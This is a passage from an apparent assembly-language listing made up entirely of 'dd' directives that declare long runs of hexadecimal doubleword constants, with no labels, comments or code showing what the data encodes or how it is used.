1F11FDC0h, 7923AD6Eh, 10DD388Ch, 0F969A1Ch dd 7E00284h, 0E4A070CEh, 7300ADF0h, 0E0F857Eh, 0CF3B14h dd 40E2E524h, 1C93A0EAh, 0AA3CC40Eh, 7B21233Ah, 0FFB8A8C1h dd 5A7500AEh, 98CD53Eh, 0A7B6777h, 4EF2B400h, 56E0390Eh dd 4D0C1FFEh, 0EAE30005h, 7F37C062h, 0EE3A2B07h, 27E0E2F1h dd 1C240A76h, 4368B65Ah, 703FF90Dh, 7E265C0h, 9BF6E100h dd 18CFC83Eh, 21D1003Ch, 399DD411h, 0B10038D8h, 0AD586D88h dd 27BBD91h, 0DCB4F9D2h, 0B1C0FCD4h, 290E5476h, 822189h dd 8A1A28C4h, 3CA261Bh, 0C1B6012Eh, 0F417182Ch, 6A00B2F1h dd 1230BB8h, 0CEF492h, 82A34BC6h, 0D6B5EA25h, 9F681626h dd 0D1008B12h, 440AAD17h, 93C400D2h, 0A4BB12AFh, 3A18DE9Ch dd 2D46D12Ah, 0BFFB1F94h, 0CBF30049h, 0EB48A9EDh, 27A57E00h dd 0CAE421B3h, 0F2400C8h, 6285C52Ch, 2303269Fh, 58463834h dd 0B6CDF898h, 4F5F00D6h, 0FF719365h, 0A601A8CFh, 47B85EBFh dd 27F09AD9h, 57CC00C2h, 0ED33E325h, 4200C7EEh, 79C954DAh dd 2623609Eh, 3ABC7Eh, 0E65D0B71h, 0AF489081h, 59FC000Fh dd 767B62F3h, 4E3F641h, 0D2E5AA98h, 0B8C3804Fh, 8F00A854h dd 0EBA25FACh, 0C02A85C9h, 6E9355B0h, 8D00A36Bh, 0F2E48F4Eh dd 7737A38h, 1359ADA8h, 5BE5008Bh, 0C7E27206h, 0D62BAF00h dd 0C6F442F1h, 89230721h, 0D0643A38h, 6EB2BD2Ah, 0DBE06D00h dd 0F71847D5h, 0E0A37A4Ah, 9B851CE3h, 0B8A980BDh, 0CB92C9D2h dd 0B12F413h, 8C241200h, 87AB3Eh, 93477F85h, 0E5E198B5h dd 0A51C3900h, 2B8ACC68h, 7F810080h, 9502D8D1h, 750052DCh dd 11BFBD26h, 0ECDA2D67h, 4BEAF0h, 9CAF3522h, 4DFDC6DBh dd 689B0803h, 0F01F9233h, 641B06h, 89D2BB35h, 750D43C7h dd 0A2FA3600h, 20A1ACDEh, 351200C2h, 0D1272426h, 2F00AE62h dd 0F7134AE5h, 0E2D6D9C8h, 92E8E0h, 420C4034h, 0A24B5B23h dd 311CB700h, 97072F7Bh, 21F400EEh, 0CE2AC75Dh, 40E8817h dd 0A0B0D180h, 0A4F5A1E2h, 69C40205h, 1ED6A57Bh, 5E677EC0h dd 3C359400h, 15724FEAh, 0A1E700C8h, 184B9B40h, 3D00E26Dh dd 0EE998F58h, 1C554A04h, 0C04DEBC8h, 7B9C4236h, 0F3001519h dd 109E1E24h, 1F4609CDh, 0C11656EBh, 6E718FD9h, 0EA4EECC6h dd 576DA500h, 0EDB285CDh, 0F35B7B52h, 769D7D0h, 3CA92110h dd 5AF20B4h, 8048419Fh, 1CAC01FBh, 289D09F2h, 24BAA60h dd 52486538h, 94605EFCh, 45004168h, 0F4C3BC83h, 0B30A75Ch dd 2DF9F37Bh, 897AB180h, 0C43A338Dh, 0BED0804Ch, 0D69DB857h dd 0BCED007Fh, 9AF4E929h, 71003C1Eh, 2A2D3A79h, 0B5E3E1Ah dd 9E89C453h, 0E0010C80h, 0B548C566h, 785A00B8h, 0BBECA143h dd 908DF009h, 3CDB136Ah, 0D5CE0050h, 4C3A7204h, 9FCE8B00h dd 0C6412037h, 663B0026h, 0E9917C0Ah, 0CA07F934h, 98BFA229h dd 0B0C1C523h, 5D4617h, 0F2F07FE2h, 43AA2B66h, 4E18590Fh dd 84CC80DBh, 3EEF8392h, 0B28EC0A5h, 0D9A1A67Bh, 0F8C70C72h dd 7700DE57h, 0ECB9413Eh, 3B90C2h, 0D79E1F02h, 0ED35CC50h dd 0F0B04E0Fh, 0FBA50071h, 1C8C0283h, 0C07FBC34h, 0D8646C9Fh dd 0E0004986h, 0F8EE6BB0h, 40DA9ACh, 30B80B1Bh, 305687A0h dd 0FA66BACAh, 636FE800h, 0C6353B91h, 56670098h, 0F0D2E3E4h dd 94767C37h, 9650A90Bh, 9A848195h, 0AA30862Ah, 0BF5F3D83h dd 8402D80h, 625497B1h, 0EBE3D200h, 81482E6Bh, 515600C4h dd 0FBBA61DDh, 76003565h, 6B8278EFh, 167A8B03h, 16B18DF2h dd 3D1DA4h, 7962446Fh, 277A578Ah, 0F8096003h, 0C8F1DFDBh dd 4CD4B1AEh, 0FF00FFCCh, 3AC5B31Eh, 943AD76Eh, 0BEAF017Eh dd 0F635FEEDh, 0A491C8h, 0B1CE2923h, 0AC8DE70Fh, 0EFF3E80Fh dd 2A41606Ch, 20BB87h, 0A2E5957Ah, 0CC8C69AFh, 0A7AE7304h dd 7380F4F7h, 925BDCh, 0BE0C3653h, 0E3221E41h, 0B57740F4h dd 0EF0BB00h, 43250DC7h, 0B0CBF6B1h, 0C80A00AAh, 0A1DD0705h dd 113C2081h, 4E3C001Ah, 0D979D663h, 99890066h, 308860DAh dd 1C0735D0h, 0FB7B6F9h, 7CEB42A0h, 3F190087h, 0FBB8E827h dd 6CF0B954h, 0C7212003h, 0F0CBDAF9h, 1E82851Eh, 0DD3EF4D8h dd 3F7F8007h, 0C1ADAB69h, 11C4741Dh, 0DF89280h, 38412Ch dd 21D96483h, 0C0CAA44Ch, 251E1300h, 2CC573Dh, 56340132h dd 87E1F896h, 0D380E005h, 0AC476C0Fh, 0C64B4052h, 1C8B598Ah dd 40738CFEh, 13AA45B7h, 3C1C91EFh, 925D8D43h, 0FAB55200h dd 2D7D0h, 0E31994F8h, 9C908C34h, 323C6700h, 9359D9E9h dd 18EC00D7h, 39256894h dd 4900538Dh, 9CA54D77h, 76E4144Eh, 796F00E9h, 0D140EB5Eh dd 260E389Bh, 0C1131C74h, 67B11246h, 712D4730h, 5ADF00BCh dd 0B5CBF9E7h, 0A690AC29h, 92BE1802h, 602ED6CDh, 0D801F8h dd 7FAFDEB9h, 0C7684759h, 4D0BF607h, 5FA0C555h, 5AB320h dd 124BFB07h, 9AEDFE9Eh, 94061D00h, 0DC33650Dh, 36EC16A9h dd 0BF2004E2h, 0DB0DC0B9h, 39001D63h, 6E21AFEEh, 7BA0030Bh dd 19A6000Dh, 825EE452h, 0E900E3E8h, 91E64CDDh, 0F81A9010h dd 354800EAh, 70A8A2CFh, 0AA003004h, 7E131BDBh, 941A52h dd 1EDA0D23h, 6AEA9261h, 7F5B3E00h, 802C58A6h, 0B68903E6h dd 0DF1C96D5h, 9390D288h, 56E37801h, 0E064CBA9h, 162484F8h dd 662FDBh, 4994EB11h, 2C032EECh, 2A930F60h, 0A582C85Fh dd 3639004Bh, 0EF216C68h, 0D0F781E9h, 7AB8A4F0h, 84518903h dd 0D02D8FD3h, 91F1DDh, 6A0E53D9h, 0B3027116h, 5F256603h dd 0F0406FB0h, 0B5E7BCh, 39F63AE4h, 0F2DB5E02h, 786B7C00h dd 498D82C8h, 9BF5000Ah, 0AA9DB724h, 2F009825h, 0BCCB53A5h dd 2CD834h, 8FAEE775h, 2BA3AD47h, 0DE202900h, 22950D8Ch dd 0A2E069h, 811B70CDh, 5D5ADD34h, 0CA909F00h, 440FE2ABh dd 0A577D3h, 0E3BE921Fh, 73E630D6h, 454DE00h, 0B17CE145h dd 0C1DC00D0h, 0FD7227BDh, 7EF0CB9Ah, 0F2E2FCE0h, 285E4400h dd 0F992E3C8h, 846B00D7h, 0DF658848h, 1E00EF8Dh, 7F474FAEh dd 544D0Fh, 0AD1521CEh, 19794ACAh, 45A7CC00h, 742A63F9h dd 27EB3D37h, 990F3B00h, 7BD55C91h, 2133E3Dh, 0D2DD2A4Ah dd 0A8974320h, 18A316h, 78308306h, 72E8518Ch, 0E280AB00h dd 0CA971C36h, 0F3F900BDh, 0E7A5C8BBh, 7C2CC498h, 0F0008BD0h dd 88A97EBFh, 51960748h, 0C0A33E6Fh, 937F2DE6h, 0B0252E00h dd 0A1F19EC4h, 0FD8D00F4h, 0ADE9A73Eh, 0C600C582h, 35C1767Fh dd 4B0D7Ch, 3624EE37h, 13C9035Ch, 0DB0FE470h, 80992CB5h dd 0FA26BBC7h, 0F8AA1CEDh, 0D20B80BDh, 1A6422DEh, 4495AC00h dd 0F640108Eh, 0A95A008Ah, 660BDADCh, 2C0716DBh, 513705Ch dd 0CA06CB60h, 0B8E9007Fh, 59210E50h, 847EF5D0h, 2D8E0300h dd 6F2FC10Fh, 5685004Eh, 7D92CDB6h, 0C0FCEF4Bh, 2C3BF5EAh dd 0B352000Fh, 0C63FFB8Fh, 0D19F0003h, 73850476h, 0C700ED3Eh dd 0ACFFA2E1h, 0CDE025h, 10BB8C23h, 4D6B9E64h, 12764A00h dd 88322797h, 5F731787h, 8A3A00FCh, 9B1B2DCDh, 5B1DE600h dd 4B5C236h, 9C8F007Fh, 4EDB4A68h, 0EA002E88h, 0D92A233Dh dd 69CD41h, 0AF7CFB99h, 0FEE9E6FDh, 0BB00FFE8h, 0CCD15668h dd 0B88F24DCh, 67F1D49h, 151791h, 40A3705Eh, 0D500E1FAh dd 83376454h, 1D21E601h, 808F3385h, 7E3ACF96h, 640008FFh dd 4F3EA1C2h, 0C45F35h, 7D9D0330h, 8AD16231h, 12AE3C00h dd 75F35B07h, 7618009Ch, 775A44B8h, 0C721062h, 6C0A1100h dd 6E882E61h, 0E8BF1C29h, 96264325h, 6698EA38h, 0B5031070h dd 844EC2E7h, 0B335882Dh, 0DF5803ADh, 0A7A126F2h, 46993E0h dd 0EE1DBE00h, 0B2AC744Ah, 57820098h, 62DE769Ch, 0E800BA2Ch dd 0A438E1B3h, 1CAC5C2Dh, 3C7A6E4h, 0CBFC5DAAh, 71C461A0h dd 0FF7AE000h, 642A5873h, 4A040168h, 62069483h, 828EF0CEh dd 0AE0EDF02h, 60384DA6h, 0DA88EBh, 0F323656Fh, 5BF2B29Fh dd 0C699330Fh, 3A9860F9h, 0B62CBFh, 83B5E36Fh, 206D262Eh dd 4A821C1Dh, 0C9E87A40h, 626B98h, 4818F6C8h, 0B2807034h dd 1A383F00h, 544BD186h, 0EE0C030h, 0CB55C03Ch, 0CA932900h dd 90A64C63h, 0E2B74D1h, 743A2111h, 0FD40839Ch, 0F2F0D305h dd 0B38E4F3h, 7B06003Bh, 0FC732545h, 0B80300C9h, 37CABE75h dd 59006C3Ah, 9BB6381Bh, 98CFC51Eh, 97503E57h, 4F0DC38Bh dd 0A4E0E80Eh, 23BD11F5h, 0A6225100h, 9B2EB180h, 96AB00B9h dd 333647EBh, 5D00F9B8h, 0FC53C65Bh, 0B6C41Dh, 8BD88131h dd 0DBFD6C83h, 2E4BDC00h, 4A9F9C39h, 6D92070Eh, 672519D5h dd 509A307Bh, 0EB008CF5h, 10DF1DCFh, 6EA30Dh, 0A5DDCAD2h dd 55EE6684h, 5C47E603h, 0E81B6711h, 0F2D3084Bh, 9B1E01E1h dd 0C83E92B4h, 0C6C0D803h, 0E9A8AD00h, 0BAB8363h, 8F3B009Eh dd 964C2B6Eh, 58005C26h, 8BF4C454h, 84B27Bh, 0AC8AD319h dd 8CA3598Eh, 2B62F8C0h, 90B33AF9h, 60DC7723h, 0E355A83h dd 4200018Ch, 500AEAB0h, 1F28CA12h, 40BA3B88h, 8D3E4FA5h dd 0B40034ABh, 4BF853A9h, 7DF1C3h, 8F73A2E4h, 0CC5EFAACh dd 131D7507h, 0FB406508h, 0D499C1h, 4622B05Ch, 0CAEFD1E3h dd 0FE45B603h, 0D835A5BDh, 1C6E152Dh, 6839FFh, 0D95D3107h dd 5900A7FCh, 0C07E18A0h, 6E0930h, 0F7A94572h, 23ED140Bh dd 49702600h, 1D5C48CBh, 0DC7D88h, 0A8C92D25h, 0A608B62Eh dd 23975F00h, 0D0F61D3Fh, 0ED343E40h, 49BC9480h, 36CF5809h dd 215F5B03h, 0D0846E3Ch, 1567B8h, 4AFC1AF9h, 64CF37Eh dd 4F572500h, 0C24BDF36h, 0D42900F5h, 124DD0E3h, 0C1582A0Dh dd 7FB80315h, 0AAA1866Eh, 8983C057h, 48AA00A6h, 0FBFDCA66h dd 10003499h, 8D55A2C7h, 48FC150Dh, 7F0396h, 69F37846h dd 3FE3067Ch, 0CD0F7B02h, 416CFE28h, 0E7C8FAA3h, 30EC00E9h dd 68EF0811h, 0F2068547h, 75720C25h, 97DA00C0h, 0E7E95A5Bh dd 9671957Bh, 0EC836900h, 0F98829Bh, 9E5002Ch, 6D975850h dd 9F00D979h, 40DA66EAh, 522AD04h, 0AB9D71F4h, 850DC00Ah dd 1E00301Bh, 122C7AA9h, 682F1Ch, 6FE83297h, 0F7A78D20h dd 610073E4h, 35B8541h, 5982F1h, 0ED2E3025h, 0FA39BF33h dd 0CEBE3Bh, 915C4BEAh, 84F269h, 2B8D3CC8h, 0DC168928h dd 5BE93900h, 7715D6C5h, 0A2F40069h, 0DAFF099Fh, 0EB00D28Ch dd 4D21FDEEh, 0CDA875h, 0DD801F6Eh, 5F7647C4h, 3E2E3203h dd 0D8BCBA67h, 361030h, 3390F1A1h, 0FAE0DC29h, 41E77C00h dd 2BFB79F6h, 538100DAh, 92D027B2h, 0D8174EF2h, 3A01A0F9h dd 0CDFC46E5h, 0F19E30h, 8BB7C2FAh, 3E74186Eh, 0B2F958h dd 0F0DB5C06h, 9753A8h, 0ADE73444h, 0BC7BEE51h, 900094F6h dd 18D26FC6h, 0EA991E89h, 0A1B60F93h, 0BB032871h, 0C9F8ADE8h dd 0BF7E56BEh, 8A456600h, 0EFC8CED6h, 1CB9E826h, 0C0FA0146h dd 90740848h, 0B6B8E927h, 4B2BF61Eh, 76345FC2h, 0FA21E0D8h dd 846100C3h, 199F010Ch, 0DD1FF091h, 26879666h, 4A90DAD5h dd 280A28Ch, 0A03C2706h, 0C406858h, 83CE762h, 347600FCh dd 37EC9629h, 0CEE81CD2h, 5C8F809Ch, 0F66742B3h, 2DF06501h dd 432A941Fh, 1ACCF4h, 9DBF7A4Bh, 85E3B017h, 53DF3800h dd 0FF4FDE6Dh, 0B30B0182h, 69F09DE7h, 0FD33E497h, 437C3D00h dd 4BC41146h, 0F77800B4h, 0A87B4525h, 4E7C220Dh, 1495D300h dd 8B2D2F43h, 1EE3000Ch, 4FFF1238h, 0CC0F9267h, 2087CF2Bh dd 99A02795h, 0BEE0990h, 0D989840Ah, 49406D0Eh, 0DB6EEC12h dd 0C26CA700h, 156902BAh, 0F60C1FE7h, 47298E9Bh, 2BF8001Fh dd 3104FA68h, 52F34D00h, 0D03E10E1h, 8AB93DC1h, 353FBB8Bh dd 72FB7480h, 81075FB8h, 42A26E46h, 0EB9F9050h, 5DD903F9h dd 0DC26348Dh, 1BAB23A8h, 807B2207h, 0C3061C4h, 2B91FE8h dd 9EDE25E7h, 2B407997h, 0CE072AADh, 0A7213461h, 60FCD642h dd 0A319B6h, 0B097665h, 4535903Ch, 1289EF00h, 1B73618Dh dd 148F26C0h, 0CF63076Fh, 66453060h, 4CE849B4h, 37B0E202h dd 0C34F29FEh, 553A801Ah dd 0BC12006Bh, 90AFCB61h, 9200E3D0h, 0A01C258Ch, 1FEA34E0h dd 0C0D7F594h, 4EBD1B8h, 1A015C32h, 62827B3Bh, 0E2F46C34h dd 3A198E0h, 0F0D738C6h, 4CD867A6h, 0F60002C0h, 0CEEC5AA2h dd 0F05B0D9Eh, 1CB0A3h, 556F5EBBh, 92FF7166h, 0F4A6B400h dd 63D373FEh, 67E0010h, 0DE29F983h, 0C4003CA3h, 3A2A0CFCh dd 0C8BFEEh, 0BC9A0A32h, 59E3E2ACh, 0ED381F00h, 0B51CF506h dd 92EB076Ah, 40DB90BAh, 0C4584ADFh, 50EED500h, 64F1ACD3h dd 0CE3263Bh, 46A40BCEh, 0C48C8C05h, 7E768382h, 0D8716D0h dd 75D4400h, 0F28F74EEh, 244B0E70h, 58A04533h, 7A82A2C8h dd 0ABA53700h, 8E35FDF1h, 0ED3100D5h, 608C19C9h, 0DF002321h dd 0DB866A1Ch, 0A769A2h, 0F4899E42h, 1377CBFFh, 685FE700h dd 6CA3C475h, 41BB0093h, 890C7AF3h, 0D53B7B96h, 0B1980A0h dd 736A12BDh, 0A9E700E0h, 384F1503h, 0FC007767h, 0CB7714Ch dd 92D284h, 9D51B2BDh, 48F2ABBEh, 0B3EC447Ch, 189F2638h dd 51D2ADF5h, 725F452h, 0FB05E698h, 0AA6F405Fh, 0C200481Ah dd 3EAC6312h, 4EB84Ch, 0D5FD5ABEh, 54D61CEFh, 0FF00B979h dd 1EF06629h, 1ED3C91h, 130FA65Bh, 0E0705703h, 5100BA39h dd 0D3AAB228h, 1E210118h, 8774CC35h, 70F1388Eh, 6F12BF1Ah dd 0E44C430Bh, 6C8100ECh, 4E76F0h, 501C0A56h, 0BAD76BBDh dd 0CBE2F300h, 16A93ED4h, 0B4DA1C68h, 0FE8901DDh, 6104DF0Ah dd 0BD9B60F1h, 277F3800h, 90A0BA28h, 0DC1E003Ch, 0CE15228Fh dd 660069DAh, 0E01D5156h, 754A2CA1h, 960D3E1Eh, 71143200h dd 0B76453ABh, 0AA42F300h, 5A8C3751h, 0AF613C4Eh, 8F241380h dd 96D501Fh, 6687CE02h, 0C0255893h, 0C79EE2h, 0A0E51CABh dd 0E7D096EBh, 66342807h, 5110FD2Eh, 0F6A5F3h, 1B8FBF54h dd 38192B08h, 0A701E190h, 264E5D99h, 4F20736Dh, 0D948339Ah dd 0D2A0C736h, 4B0B272Ah, 8A4C0356h, 720E9D08h, 5AD8A01Ch dd 1ECD97h, 124ABA79h, 2C772637h, 0AE0A3F0Fh, 0C84CC024h dd 0BEC52h, 112DB2BCh, 0D19CFBD2h, 96126601h, 0BE91A9D3h dd 1DD7ABF0h, 8365E922h, 9E9BC651h, 727C21D8h, 32316700h dd 0C2B03A96h, 53971759h, 4A6E005Fh, 55953986h, 0B6DF9C07h dd 2AF0C098h, 0AB17ACh, 9A90CA3h, 0B857A7F0h, 565B1300h dd 0AE41C285h, 6773005Ah, 0FEE52D0Eh, 9E032A1Dh, 0E101FF68h dd 2916B196h, 0EBD930h, 739419EAh, 89F89171h, 6B5D6D00h dd 0AC17B033h, 796F00FEh, 387566D8h, 312824Ch, 0ED1C212Ch dd 9B815540h, 48EB32h, 7825CB1Dh, 8D345E39h, 18874900h dd 0FCE5B25Dh, 0A153008Fh, 0DE692A85h, 0F600DBE9h, 1B86738Ah dd 0C58E48h, 0FF6D6698h, 589FDCBEh, 0D98FFA00h, 2B9D8A17h dd 0AA950060h, 7CCD162Eh, 25000701h, 0CAD4B543h, 5CA72Ch dd 3B17FF9Bh, 69F748DCh, 82E5BC38h, 52CB64BEh, 0D88DC35Eh dd 0FDD7BD9h, 40A45DF0h, 99097320h, 5E038A39h, 91B74DEDh dd 9A69B8BBh, 0E1FC0F1Ah, 0AA60AB82h, 835EE0AFh, 0E5026773h dd 89290A50h, 2097E0E8h, 307AE4h, 8CC79FB8h, 4E3CAE7Ch dd 5B78550Fh, 0B2CF605Ah, 325806Eh, 0DDED3EECh, 30B09C6Bh dd 0B17A2A22h, 89814E00h, 86A405CFh, 9A16148Ah, 8700DB31h dd 4C270AA2h, 0A10066A0h, 3780EAAEh, 3B855062h, 0AD805C6Dh dd 0CB9E3C5Eh, 661C79F7h, 748077C6h, 8DD4DEF5h, 675E1CC3h dd 0F2C7C0C1h, 0F98A64B9h, 8334013Bh, 0F5AE91FCh, 4D85D0A2h dd 8EEACh, 744931A4h, 66E0B880h, 9B382900h, 0B116025Ch dd 4EFE0042h, 3908663h, 290F2365h, 20E32A45h, 0AA52534Dh dd 0EA2E7CB7h, 7117567h, 46CF9C19h, 883440F8h, 921844AAh dd 3880890Bh, 27E0018h, 7AFC59Bh, 0B8F472D2h, 0B0876D00h dd 3558A8B5h, 628E01BEh, 97D192E5h, 8DDDC027h, 0B3FA1F00h dd 2FD3F00Dh, 6487009Bh, 0D045AE07h, 8C002738h, 0CCFE4811h dd 3C0C10F5h, 775C9216h, 0D6EA9500h, 5B28B8CDh, 729FD903h dd 0F7EFE84Eh, 1BD7E03Eh, 90A565EEh, 878600DEh, 83C8E035h dd 9F1D4585h, 2DC369EAh, 9F6B896Ch, 2BCAABD0h, 0AAF500C0h dd 0B6AD018Fh, 0A67ED67Eh, 82700C00h, 18864294h, 1EAFED0h dd 0F2589983h, 0F0A57FD6h, 0EB0128C3h, 0D26616D7h, 4AC8836Ch dd 0A01700F6h, 5B9275DDh, 0A201B0B7h, 388ACB0Bh, 25FCFD51h dd 65EFA007h, 0A30C0033h, 747CA8B2h, 8EE06619h, 9526FE07h dd 4EF0BA42h, 0A7E0Eh, 97C99A6Eh, 7C30F0C2h, 5EDF0302h dd 40FF99DCh, 2E81C335h, 3BFC8CFCh, 4473B13h, 800162BFh dd 90C0B191h, 482AFE00h, 0D39A0C1Ah, 153901ECh, 4351A478h dd 0BEE870BBh, 490BD700h, 8ABD5FD0h, 94E600DCh, 8DC07CAEh dd 0E24A54EBh, 0F22890A0h, 316C03F4h, 0B470217Fh, 20E6009Fh dd 2600A547h, 0B89911E9h, 49115h, 0B523489Dh, 0CB0256FCh dd 3A8FD200h, 1906EF2Dh, 0D54C0007h, 0B18E118Bh, 6F005432h dd 29608BFh, 1F2DC712h, 0E6D9DCC8h, 430B0051h, 0E62C483h dd 0CC7B6E00h, 71923C59h, 0A20400F5h, 6DE398D6h, 3B0135BFh dd 89119EFh, 34C01680h, 7B3200B2h, 0A52B6D68h, 7D00EECBh dd 421EEC5Dh, 63C457Fh, 0C50389D1h, 500002E9h, 63A50986h dd 0E09304DEh, 1D9B1D88h, 5FF303E7h, 71D8DB52h, 25005443h dd 0B10DCF83h, 3CD13B7h, 7A58612Dh, 0E2F098E6h, 697F0AC4h dd 2E17EA7Eh, 780FA305h, 9A98203Ch, 457989h, 0E188BE9Eh dd 0B601A8BAh, 4A2E321Fh, 43371EC0h, 0AEEEF7h, 8C7EC8D8h dd 1F50A8Eh, 0FB263C1Dh, 1662DB40h, 0ADA6CCh, 0FE45F69Bh dd 0AB94C698h, 617FE100h, 0F81FCAF2h, 0B447004Ch, 47366B2h dd 0DCE73F26h, 0D600DF10h, 0DE90C871h, 1CFAB405h, 0F0B572Eh dd 9F60213Fh, 45084727h, 4943000h, 32D1D2C0h, 0FFB71D13h dd 0B60B3878h, 0CB0FDE95h, 857DCB5Fh, 15CD5180h, 0FE7DBE58h dd 453D8B03h, 90386549h, 202E17h, 0DFD36697h, 0E651B3EEh dd 0CD58607h, 6C50AFE5h, 0C20430h, 9A1AD990h, 0AA71CE06h dd 352A48h, 6F76C7EEh, 29EB63h, 14C1F13Dh, 0F391125Ch dd 0D3D5D000h, 0DECFACE4h, 372A0003h, 56094344h, 0A039EDC5h dd 89B90086h, 1F88121Dh, 0A5A30054h, 35F04805h, 7200B030h dd 0BAA897D8h, 0F4857FC5h, 584C00D0h, 0C818B4CEh, 0D900AEA4h dd 0DDA9BA21h, 5F592h, 0B7BD8689h, 5C1A0B15h, 0F9E4FEB8h dd 3C2FC00h, 0E5AF19ACh, 0B17EA1h, 13B96124h, 355BDEB8h dd 453FF3Bh, 3D3F773Ch, 0CE665480h, 0E4C00B6h, 0A06B4ADDh dd 2400C6ADh, 91545614h, 0D7CDB7h, 2E82A76h, 6B32EF51h dd 0CC08DF00h, 0DC09F330h, 367300F4h, 9ED31826h, 597A4315h dd 49039600h, 5B879F79h, 484700C2h, 0A0D0194Bh, 2B26B0FAh dd 3C0042F1h, 855B4C3Fh, 4399008Fh, 0C17E4223h, 0D5072F49h dd 649EE0C3h, 888C7590h, 14FC00D7h, 3D58299Bh, 6900850Fh dd 0F40D97F3h, 73F3B4Bh, 0C52312C8h, 0B4E06395h, 0BB8A5380h dd 35D45A00h, 318D69C9h, 1A7D012Eh, 0CC332692h, 0B657F449h dd 565C1C00h, 4D8FBB61h, 0B3BE00A7h, 46262E29h, 1917F580h dd 5100CA79h, 0E1A611Eh, 10B003Bh, 276326BCh, 71F84AAh dd 934FAEDDh, 40D14059h, 0FEDD8A0h, 28107809h, 2E147F80h dd 6E002A0Bh, 647E7D7h, 4C0198h, 4A40FD53h, 704ECB44h dd 49F3EC00h, 980802AFh, 58E30050h, 7BBF056Ah, 4DE69EC9h dd 0B690D87Dh, 0CC267900h dd 2B3E18C5h, 23370002h, 76931758h, 100040Dh, 6F73E4F3h dd 0E7CAB1EAh, 38CFDCh, 86AC85EFh, 229D1968h, 0B92FD600h dd 12764532h, 0DBC00040h, 28AB6938h, 0F700A2D5h, 5A170C46h dd 1E584E9Dh, 0CF99DD3Ch, 52C0E11Ch, 0DBA662CBh, 5B129800h dd 1BD6B9E7h, 9CE20003h, 95E4041Dh, 0C100516Ch, 16915F21h dd 0FEDF1Ah, 0CE8FB960h, 94AC7FB1h, 0D43BBB01h, 3787C30Fh dd 1E33BEF0h, 79620DC4h, 0DCBB4980h, 246BADF7h, 0E7F08D24h dd 400FE50Fh, 0C1725DE2h, 0C3840009h, 0AC22CEC2h, 5A007332h dd 2FC756C0h, 0E674AD3Eh, 73DFA04h, 224951DCh, 693673E6h dd 0ECE1D6C1h, 0A100B55Ch, 837A1AEBh, 1EACEFABh, 8069D1BCh dd 27CECB7Bh, 8900F5FFh, 2A3A92A6h, 0A2C661h, 124491CFh dd 7E980DD1h, 79013E07h, 28F0F2FFh, 46FAA6h, 3715BC1Bh dd 5DB8A24Ah, 8D78F900h, 4231D26Eh, 0F1E25Ch, 0C18136C3h dd 1CF952B1h, 0B0903C50h, 58113016h, 45F3B100h, 0D9BC8Fh dd 0F618DF13h, 5F5D6065h, 0DEA97D00h, 0BCBB829Dh, 0B9FC394Ch dd 429C480h, 0E699084Fh, 0ACFF3400h, 0C8B13661h, 386E0031h dd 21CE04CAh, 800943Eh, 3910E065h, 22EF35h, 2F90551Eh dd 0EBFAB2Eh, 6047FD01h, 105EF741h, 67C2E0h, 0EEE94C5Ch dd 45FE2833h, 0C619320Eh, 52B440F4h, 0EF6676h, 7B216904h dd 578A9954h, 746C2C1Eh, 0B198CAC0h, 0F0D2DB39h, 0E07E29h dd 825C8750h, 3D05B43Ah, 0B6E60200h, 11A24512h, 8FFE5Ah dd 6DA6B824h, 4C78EFBEh, 9C4FA000h, 677BC681h, 9B6300F2h dd 3D0F6890h, 0F800ACA3h, 0DA9C9925h, 2EDDEFh, 894FC12Ah dd 58EA908h, 0FF658A16h, 0B4E9BF00h, 7E5845h, 5B807C4Ch dd 1FD9615Fh, 7030F91Ch, 0A0EE1900h, 6EBD83h, 0E92A447Dh dd 6543F2E2h, 56D11F01h, 0E8C50CB4h, 0D542F4h, 84F32488h dd 7AFD8DC4h, 5A075DF0h, 0A62C91D2h, 43603730h, 259F01F5h dd 6AD5E7EEh, 0EC007F4Fh, 0D997809Bh, 0EB1D0014h, 6B39417h dd 77750BDCh, 28583900h, 0E3FCD105h, 0A1FF3E67h, 9BEB4200h dd 16EC878Fh, 0B2F08B00h, 0CD032928h, 0A66300B4h, 5CC4AD40h dd 9E006273h, 0BC70F57Dh, 80BDE5h, 22B5F818h, 918FF092h dd 4452840Eh, 61714EE4h, 856D7AB8h, 0F5DCC8F3h, 58100047h dd 4C54F25Dh, 217671A1h, 24334F00h, 2ED8683Bh, 9C5E0001h dd 84CA181Fh, 0A27C5183h, 689F5D00h, 766F52D9h, 1D870F2Eh dd 3A20B16Eh, 0FFF30B5Eh, 4D561600h, 4FD21757h, 2A223A03h dd 513B9080h, 0B5FFD3CEh, 0CB4A0207h, 79E7A43Ch, 0A9BF001Fh dd 0C5836Fh, 85FDDC0Dh, 1293D69Bh, 29B85F1Dh, 92EA2280h dd 6FB299h, 447C4E88h, 5FD79C89h, 4DBD1003h, 0B00DCAC5h dd 3B585Ah, 1E11F0Fh, 254A8E82h, 4E373800h, 41F56181h dd 0E5AE3CB7h, 48B91Fh, 151892A0h, 0CF037DBBh, 0B82784F6h dd 0B1579095h, 0E29E0002h, 975FF433h, 85005D91h, 2745BB70h dd 7264C4E3h, 0F073035Eh, 86BEDEAAh, 8024BAF1h, 3642B930h dd 1E4B779h, 32CAA058h, 404128F3h, 0A1DBF6ABh, 4A0060F0h dd 3AE2735Bh, 0EA4AF65h, 8809D285h, 0E18D405Eh, 0CE355C6Ch dd 89E5900h, 0EBDD45E2h, 983E05E4h, 8062D063h, 717F7322h dd 8BDF900h, 0CFB32554h, 703E423h, 0A6760D85h, 2FE1912Eh dd 5AE6F48Eh, 560F9307h, 0A410C3BBh, 0DB0382h, 3F1F8B6Fh dd 0B3A39652h, 65560100h, 57DC8CAAh, 506C0094h, 6BE821Ah dd 70737CCBh, 3D9B2300h, 0F28C6A9Eh, 670103A7h, 1FB085E0h dd 0E0617F8h, 0DB0395B0h, 6B150A9Fh, 2AB93888h, 5C1B221Ch dd 2484C0F7h, 0FED80304h, 9C95921Ch, 91D57D40h, 5CBDBF99h dd 1A00CAACh, 582DAEFAh, 1D01BBDAh, 0E67B09F7h, 0C8FB962Eh dd 62FBDEh, 754D7F1Bh, 5F26BE89h, 76D8AC00h, 0C84A656Eh dd 0CFA90049h, 321D2882h, 55163B48h, 580084A0h, 76B62130h dd 0FE7D00D0h, 0F1D627B0h, 5D01577Bh, 0E50DE0CFh, 0E4C8234Bh dd 0E5378ACh, 0BA92457Ah, 0F7DFC160h, 0EDB07FD1h, 0A3078072h dd 6C9A6D4Eh, 0E61DD9E0h, 0BFD60044h, 0B8ECB5AFh, 0BA007CD3h dd 8E0AD19Eh, 0A86D27h, 0E1C85FEDh, 0C322D471h, 636E320Eh dd 5EB8C091h, 0FE6862h, 